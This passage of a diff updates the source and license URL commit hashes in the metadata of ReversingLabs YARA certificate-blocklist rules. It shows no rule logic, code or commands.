+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15462-L15478"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ef244587c9eb1e1cb2f8a9c161e5dd9ff70e9764586f16e011334400ee400ed9"
 		score = 75
 		quality = 90
@@ -22206,8 +22259,8 @@ rule REVERSINGLABS_Cert_Blocklist_309D2E115F1Fe2993Ee2E063 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15480-L15496"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15480-L15496"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "15fdb95fe5429cdc0263615c2b7c90d21f37b52954c5ce568c1293cd3a544730"
 		score = 75
 		quality = 90
@@ -22231,8 +22284,8 @@ rule REVERSINGLABS_Cert_Blocklist_90E33C1068F54913315B6Ce9311141B9 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15498-L15516"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15498-L15516"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4a97171c6dfaa8d249ab0be1ce264b596d266ff4697d869a4d1f90cc0e2c49b7"
 		score = 75
 		quality = 90
@@ -22256,8 +22309,8 @@ rule REVERSINGLABS_Cert_Blocklist_3F15C3 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15518-L15534"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15518-L15534"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "03ea946fa99ed7a6ab23cb26dbf514b6c062d63371c9e2a5ddf999acd1954955"
 		score = 75
 		quality = 90
@@ -22281,8 +22334,8 @@ rule REVERSINGLABS_Cert_Blocklist_285Eccbd1D0000E640B84307Ef88Cd9F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15536-L15552"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15536-L15552"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "267df1c327b65938b2b82a53ec8345290659560c69c9a70f2866fe7bd73513a7"
 		score = 75
 		quality = 90
@@ -22306,8 +22359,8 @@ rule REVERSINGLABS_Cert_Blocklist_55Ab71A3F9Dde3Ef20C788Dd1D5Ff6C3 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15554-L15570"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15554-L15570"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4bee740eaf359462cd85c6232160c6b1fc3df67acfe731da9978f0b8a304a93f"
 		score = 75
 		quality = 90
@@ -22331,8 +22384,8 @@ rule REVERSINGLABS_Cert_Blocklist_4Beca26210737A5442Ff8B47 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15572-L15588"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15572-L15588"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7a1130413ae8807dc1ec96a6b1c3bac705a1520f7268db2848b997f6f3f9fc9b"
 		score = 75
 		quality = 90
@@ -22356,8 +22409,8 @@ rule REVERSINGLABS_Cert_Blocklist_0F203839A9C63B8798A7Cb31 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15590-L15606"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15590-L15606"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "604ba3fa671cc98e42caf80d07bc9650d193f898413517b46482f183b0f7008a"
 		score = 75
 		quality = 90
@@ -22381,8 +22434,8 @@ rule REVERSINGLABS_Cert_Blocklist_Dc992Ea8E6Bb4926931Df656D5Eef8A0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15608-L15626"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15608-L15626"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2b261624677a1c4a1ef539106bedcef30f272fda3d833d4c8095e9797d592e1f"
 		score = 75
 		quality = 90
@@ -22406,8 +22459,8 @@ rule REVERSINGLABS_Cert_Blocklist_41Bd49Bb456644D8183B3Dae72Ec8F22 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15628-L15644"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15628-L15644"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0516af7b27d244f21c9cea62fe599725d412e385e34f5f3f4f618d565365d321"
 		score = 75
 		quality = 90
@@ -22431,8 +22484,8 @@ rule REVERSINGLABS_Cert_Blocklist_A8D40Da6708679C08Aebddea6D3F6B8A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15646-L15664"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15646-L15664"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "27ec32791eaeccb8aa95d023c4fc8943f0435c32d8a17bde98d7d0b02ba17e59"
 		score = 75
 		quality = 90
@@ -22456,8 +22509,8 @@ rule REVERSINGLABS_Cert_Blocklist_307642E1F3A92C6Cc2E7Fb6E18F2Ddcb : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15666-L15682"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15666-L15682"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8c96fbd10672b0b258a80f3abaf0320540c5ff0a4636f011cfe7cfa8ccc482d0"
 		score = 75
 		quality = 90
@@ -22481,8 +22534,8 @@ rule REVERSINGLABS_Cert_Blocklist_52379131A1C69263C795A7D398Db0997 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15684-L15700"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15684-L15700"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "245e994024e08add755ec704b895286c115ac00eb5aeecde98fce96f35f6e9e0"
 		score = 75
 		quality = 90
@@ -22506,8 +22559,8 @@ rule REVERSINGLABS_Cert_Blocklist_44312Cb9A927B4111360762B4D4Bdd6D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15702-L15718"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15702-L15718"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8e34636ed815812af478dd01eacd5298fa2cfeb420ee2f45e055f557534cae71"
 		score = 75
 		quality = 90
@@ -22531,8 +22584,8 @@ rule REVERSINGLABS_Cert_Blocklist_123A5074069162F4Ed68Fc7D48F464C2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15720-L15736"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15720-L15736"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f55835c7404edab96bc5c8fe3844f3380f1f6bc8b43da1d51213de899629e8f5"
 		score = 75
 		quality = 90
@@ -22556,8 +22609,8 @@ rule REVERSINGLABS_Cert_Blocklist_64Eb04B8Def382B5Efa75F63E0E85Ad0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15738-L15754"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15738-L15754"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "03adb8a9bf2a8f0633b34d5c39816b47e60b9e598208f7de79ad9d9a7ab8cc5e"
 		score = 75
 		quality = 90
@@ -22581,8 +22634,8 @@ rule REVERSINGLABS_Cert_Blocklist_76D8D908Eed2F9857Dc5676A680Ceac9 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15756-L15772"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15756-L15772"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "87f9930967d5832d3003672eeb89669b54feed1ca2ea5eec478c50e3cb7a7571"
 		score = 75
 		quality = 90
@@ -22606,8 +22659,8 @@ rule REVERSINGLABS_Cert_Blocklist_083E3F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15774-L15790"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15774-L15790"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6977d48a2e31235d780cba1b84b39a90e409ee8ea5555e01cbc34989ecd3882d"
 		score = 75
 		quality = 90
@@ -22631,8 +22684,8 @@ rule REVERSINGLABS_Cert_Blocklist_79227311Acdd575759198Dbd3544Cca7 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15792-L15808"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15792-L15808"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "73e920d51faf7150329ce189d1693c29a2285a02d54fee27e5af5afe3238295b"
 		score = 75
 		quality = 90
@@ -22656,8 +22709,8 @@ rule REVERSINGLABS_Cert_Blocklist_13Ae38C9Ae21A8576C0D024D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15810-L15826"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15810-L15826"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7be892eaf9e2e31442f7ef5ffd296dd17696d6c95d20eb2758ede2c553b05f38"
 		score = 75
 		quality = 90
@@ -22681,8 +22734,8 @@ rule REVERSINGLABS_Cert_Blocklist_557B0Abf44045827F1F36Efbc96271Ec : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15828-L15844"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15828-L15844"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "633e8d6b44d62443d991738fa82b9742ac5634051bba5d0cdb3d6b35d66bdc8f"
 		score = 75
 		quality = 90
@@ -22706,8 +22759,8 @@ rule REVERSINGLABS_Cert_Blocklist_7903870184E18A80899740845A15E2B2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15846-L15862"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15846-L15862"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ad32491b463d0b3b4c85ed78e81bb69802e5f90ae835f73e270b28f02b36f840"
 		score = 75
 		quality = 90
@@ -22731,8 +22784,8 @@ rule REVERSINGLABS_Cert_Blocklist_5Fba9B373F812C16Aef531D4 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15864-L15880"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15864-L15880"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8b7340359778e3aa56f6ea300973af74eb77efd54108d2ca2b6b8f04d89a1c39"
 		score = 75
 		quality = 90
@@ -22756,8 +22809,8 @@ rule REVERSINGLABS_Cert_Blocklist_616A5205238590B01D7B761E444E4Ad9 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15882-L15898"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15882-L15898"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "463ccd3ace9021569a7a6d5fcbaadf34b15d2b07baf3df526b271b547cf2bbc5"
 		score = 75
 		quality = 90
@@ -22781,8 +22834,8 @@ rule REVERSINGLABS_Cert_Blocklist_29Be2278113Dd062Eadca32De6B242D0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15900-L15916"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15900-L15916"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "3df7afba9eda9022a64647ce2a91119d0bdf6fe5b164a1e82b1819409024fbee"
 		score = 75
 		quality = 90
@@ -22806,8 +22859,8 @@ rule REVERSINGLABS_Cert_Blocklist_05F70A557Afd4A443F44D0Baf0Bc8C60 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15918-L15934"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15918-L15934"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "3945f515b65ca3ffb6c2b64c884bb2790d703a277e1a5ba128c81bc63ed20a25"
 		score = 75
 		quality = 90
@@ -22831,8 +22884,8 @@ rule REVERSINGLABS_Cert_Blocklist_4E0665D61997072294A70C662F72Eae3 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15936-L15952"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15936-L15952"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f07cdfd522db0a92fe1dba30f158b2c89bb5424bdcdfda50ae42fcfddeac19ba"
 		score = 75
 		quality = 90
@@ -22856,8 +22909,8 @@ rule REVERSINGLABS_Cert_Blocklist_74702Dff5D4056B847D009A2265Fb1B3 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15954-L15970"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15954-L15970"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8acc57bbf334a48043dbee6fab7b7a54a44801b2ccd0ccd9d14194689c75c021"
 		score = 75
 		quality = 90
@@ -22881,8 +22934,8 @@ rule REVERSINGLABS_Cert_Blocklist_353B1Cf7866Ee0B0Acdd532D0Bb1A220 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15972-L15988"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15972-L15988"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "aa8f0fe1517134b6e562c2accc46420a4f0afd77c3a7bbe98d551c54e68ed4c7"
 		score = 75
 		quality = 90
@@ -22906,8 +22959,8 @@ rule REVERSINGLABS_Cert_Blocklist_093Ff2870Fa33Eaf47259457Ee58C2E0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L15990-L16006"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L15990-L16006"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1aafe547b8645f07498bac6f0ffd6d5aefbac160aa7a6fb8d1d891e70701ce99"
 		score = 75
 		quality = 90
@@ -22931,8 +22984,8 @@ rule REVERSINGLABS_Cert_Blocklist_719C17A823839Dca813Ee85888B3B39A : INFO FILE
